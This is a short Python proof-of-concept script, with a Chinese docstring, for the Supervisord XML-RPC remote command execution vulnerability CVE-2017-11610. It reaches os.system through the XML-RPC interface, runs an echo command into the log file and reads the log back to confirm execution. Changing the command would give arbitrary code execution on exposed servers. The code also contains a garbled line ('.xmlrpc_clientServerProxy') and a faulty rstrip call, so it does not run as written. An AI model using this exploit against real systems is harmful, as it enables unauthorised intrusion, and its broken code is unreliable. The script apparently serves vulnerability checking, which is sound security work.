#!/usr/bin/env python		
#coding:utf-8

"""
Supervisord 远程命令执行漏洞（CVE-2017-11610）

Desc
	Supervisord是一款Python开发，用于管理后台应用（服务）的工具，默认监听9001端口
	该漏洞危害等级高，但影响范围有限，出现漏洞需要满足三个条件:1. 版本在受影响范围内 2.RPC端口可访问(默认不开放外网访问), 3. RPC无密码或密码脆弱
Version
	Supervisord 3.0a1 - 3.3.2
Referer:
	 - https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
	 - https://blogs.securiteam.com/index.php/archives/3348
	 - https://github.com/Supervisor/supervisor/commit/90c5df80777bfec03d041740465027f83d22e27b
"""

from six.moves import xmlrpc_client


def poc(url):
	url = url if '://' in url else 'http://' + url
	url = url.split('#')[0].split('?')[0].rstrip('/').rstrip('/index.php')

	command = "echo rivirsir"
	try:
		proxy = .xmlrpc_clientServerProxy(url + "/RPC2")
		old = getattr(proxy, 'supervisor.readLog')(0,0)
		logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
		getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
		result = getattr(proxy, 'supervisor.readLog')(0,0)
		if result[len(old):].startswith("rivirsir"):
			return True
		else:
			return False
	except Exception as e:
		return False
	return False

if __name__ == '__main__':
	print poc("http://vuln.com:9001/")